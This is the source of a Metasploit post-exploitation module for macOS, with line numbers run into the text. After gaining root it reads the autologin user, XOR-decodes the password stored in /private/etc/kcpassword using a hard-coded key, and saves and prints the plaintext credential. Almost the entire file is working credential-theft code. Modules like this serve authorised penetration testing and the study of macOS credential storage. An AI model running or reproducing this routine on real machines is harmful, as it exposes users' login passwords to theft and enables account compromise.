Path: blob/master/modules/post/osx/gather/autologin_password.rb
28052 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Post::OSX::Priv89# extract/verify by XORing your kcpassword with your password10AUTOLOGIN_XOR_KEY = [0x7D, 0x89, 0x52, 0x23, 0xD2, 0xBC, 0xDD, 0xEA, 0xA3, 0xB9, 0x1F]1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'OSX Gather Autologin Password as Root',17'Description' => %q{18This module will steal the plaintext password of any user on the machine19with autologin enabled. Root access is required.2021When a user has autologin enabled (System Preferences -> Accounts), OSX22stores their password with an XOR encoding in /private/etc/kcpassword.23},24'License' => MSF_LICENSE,25'Author' => [ 'joev' ],26'Platform' => [ 'osx' ],27'References' => [28['URL', 'https://web.archive.org/web/20180408062145/http://www.brock-family.org/gavin/perl/kcpassword.html'],29],30'SessionTypes' => [ 'meterpreter', 'shell' ],31'Notes' => {32'Stability' => [CRASH_SAFE],33'SideEffects' => [],34'Reliability' => []35}36)37)3839register_advanced_options([40OptString.new('KCPASSWORD_PATH', [true, 'Path to kcpassword file', '/private/etc/kcpassword'])41])42end4344def run45# ensure the user is root (or can read the kcpassword)46unless is_root?47fail_with(Failure::NoAccess, 'Root privileges are required to read kcpassword file')48end4950# read the autologin account from prefs plist51read_cmd = 'defaults read /Library/Preferences/com.apple.loginwindow autoLoginUser username'52autouser = cmd_exec("/bin/sh -c '#{read_cmd} 2> /dev/null'")5354if autouser.present?55print_status "User #{autouser} has autologin enabled, decoding password..."56else57fail_with(Failure::NotVulnerable, 'No users on this machine have autologin enabled')58end5960# kcpass contains the XOR'd bytes61kcpass = read_file(kcpassword_path)62key = AUTOLOGIN_XOR_KEY6364# decoding routine, slices into 11 byte chunks and XOR's each chunk65decoded = kcpass.bytes.to_a.each_slice(key.length).map do |kc|66kc.each_with_index.map { |byte, idx| byte ^ key[idx] }.map(&:chr).join67end.join.sub(/\x00.*$/, '')6869# save in the database70# Don't record a Login, since we don't know what service to tie it to71credential_data = {72workspace_id: myworkspace_id,73origin_type: :session,74session_id: session_db_id,75post_reference_name: refname,76username: autouser,77private_data: decoded,78private_type: :password79}8081create_credential(credential_data)82print_good "Decoded autologin password: #{autouser}:#{decoded}"83end8485private8687def kcpassword_path88datastore['KCPASSWORD_PATH']89end9091def user92@user ||= cmd_exec('whoami').chomp93end94end959697